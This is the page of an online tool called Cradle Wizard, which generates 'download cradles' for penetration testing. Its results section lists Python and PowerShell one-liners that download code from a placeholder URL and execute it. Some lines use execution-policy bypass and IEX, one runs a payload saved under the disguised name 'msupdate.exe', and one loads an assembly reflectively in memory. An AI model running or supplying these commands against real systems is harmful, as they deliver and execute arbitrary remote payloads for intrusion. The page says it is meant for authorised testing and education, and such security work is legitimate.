Overview
Cradle Wizard is an online tool used to generate advanced download cradles across various languages. This can be used during Offensive security testing, certification courses, or other ethical hacking exercises to easily download and execute different payloads on a target system.
NOTE: Download cradles are generated using client-side JavaScript. No data is collected or stored by this site.
Generate
*1 - Only applicable with PowerShell to define "$null" proxy value.
*2 - Used to add DownloadString Invoke commands or DownloadData Assembly arguments.
*3- Newer versions of PowerShell may require special character escape.
Results
python3 -c 'import urllib.request as x; exec(x.urlopen(x.Request("$URL")).read());'
|
python3 -c 'import requests; exec(requests.get("$URL").text);'
|
powershell.exe -exec bypass -c "$c=New-Object System.Net.WebClient; IEX $c.DownloadString('$URL');"
|
powershell.exe -exec bypass -c "$c=New-Object System.Net.WebClient; $c.DownloadFile('$URL', 'C:\Windows\Temp\msupdate.exe'); C:\Windows\Temp\msupdate.exe;"
|
powershell.exe -exec bypass -c "$c=New-Object System.Net.WebClient; [System.Reflection.Assembly]::Load($c.DownloadData('$URL')).EntryPoint.Invoke(0,$null);"
|
Disclaimer
The tools provided on this site are offered “as-is”, without warranty, and disclaiming liability for damages resulting from use. Copyright 2024 BreachTactics.
All published content is intended for research and educational purposes only. Author is not responsible for illegal use. Use responsibly and never target systems you don’t own or have explicit permission.
